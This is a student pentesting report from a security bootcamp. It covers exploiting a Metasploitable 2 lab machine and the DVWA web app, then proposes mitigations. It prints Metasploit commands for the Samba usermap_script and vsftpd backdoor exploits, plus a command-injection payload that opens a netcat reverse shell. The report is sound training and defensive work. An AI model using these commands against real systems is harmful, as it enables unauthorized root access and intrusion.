Pentesting Prevention Proposal Project

Guillermo Costa
Oct, 24, 2024
4Geeks Academy

Table of Contents

Introduction

The goal of this pentesting exercise was to identify and exploit vulnerabilities within a vulnerable machine (Metasploitable 2) and a web application (DVWA). The testing included reconnaissance, exploitation, and privilege escalation phases, followed by a review of mitigation strategies. This report reflects findings from previous reports (v1 and v2) and provides an overall analysis of the system's security risks.

Objective and Scope

The objective of this exercise is to uncover and exploit vulnerabilities in both the target machine and web application. The testing scope included open ports, services, and web functionalities, aiming to assess the security posture of the environment and propose both preventive and mitigation measures.

Methodology

The pentesting process followed a structured methodology, utilizing a variety of tools and techniques to identify and exploit security flaws. The approach differed between the target machine and the web application:

- **Tools and Techniques Used**:
    - Nmap (Reconnaissance)
    - Metasploit (Exploitation and Privilege Escalation)
    - Netcat (Backdoor Access)
    - DVWA (Web Application Testing)
    - Vulnerability Exploitation: Samba (CVE-2007-2447), FTP (CVE-2011-2523), Command Injection (DVWA).

Phases of Pentesting

Reconnaissance

The initial phase of reconnaissance involved scanning open ports on the Metasploitable 2 machine using Nmap. This revealed several vulnerable services such as FTP, Samba, and HTTP.

Exploitation

- **Samba Exploit**: The vulnerability in Samba (CVE-2007-2447) was exploited, which allowed remote command execution and root access via the `usermap_script` exploit in Metasploit.

Commands used:

```
use exploit/multi/samba/usermap_script
set RHOST <target IP>
run
```

- **FTP Exploit**: The vsftpd 2.3.4 backdoor (CVE-2011-2523) was exploited, providing a root shell on the target machine.

Commands used:

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST <target IP>
run
```

- **DVWA Command Injection**: In the web application, command execution via DVWA's vulnerable feature allowed interaction with the Metasploitable machine.

Commands used:

```
192.168.56.104; nc 192.168.56.104 4444 -e /bin/bash
```

Vulnerabilities Detected

Several vulnerabilities were identified and exploited:

1. **FTP (vsftpd 2.3.4 - CVE-2011-2523)**: Contains a backdoor enabling unauthorized access via port 6200.
2. **Samba (CVE-2007-2447)**: Allows command injection, leading to remote code execution.
3. **HTTP (Apache 2.2.8 - CVE-2010-1452)**: Exposes denial-of-service vulnerabilities.
4. **Command Injection (DVWA)**: Enabled unauthorized remote command execution.

Proposed Prevention Strategies

1. **Secure Development Practices**:
   Implement secure coding standards to minimize vulnerabilities such as command injections and buffer overflows in web applications.
2. **Code Reviews**:
   Establish regular code review procedures to detect potential flaws before they are deployed into production environments.
3. **Security Policies**:
   Enforce security policies that limit the exposure of critical services like FTP and Samba, and remove unnecessary services.

Mitigation Proposals

1. **Patches and Updates**:
   Update vulnerable services such as vsftpd and Samba to versions without known vulnerabilities.
2. **Security Configurations**:
   Secure configuration of services (e.g., restrict access to Samba shares and disable directory listing in Apache).
3. **Network Segmentation**:
   Isolate critical services into segmented networks to reduce the risk of lateral movement in case of a breach.
4. **Access Control**:
   Apply strict access control policies to limit who can interact with sensitive services such as FTP, NFS, and MySQL.

Mitigation Analysis

By applying these mitigation strategies, the likelihood of exploitation would be significantly reduced. Updating services and ensuring proper network segmentation would limit exposure to both external and internal threats.

Impact Assessment

The exploitation of vulnerabilities like Samba and FTP provided full control over the system, underscoring the importance of addressing such risks. Implementing mitigation strategies would not only improve system resilience but also prevent unauthorized access and data breaches.

Conclusion

This exercise highlighted critical vulnerabilities in both the Metasploitable machine and the DVWA web application. Through the implementation of proactive security measures such as patches, secure configurations, and regular code reviews, the overall security posture of the system can be improved, reducing the risk of future exploitation.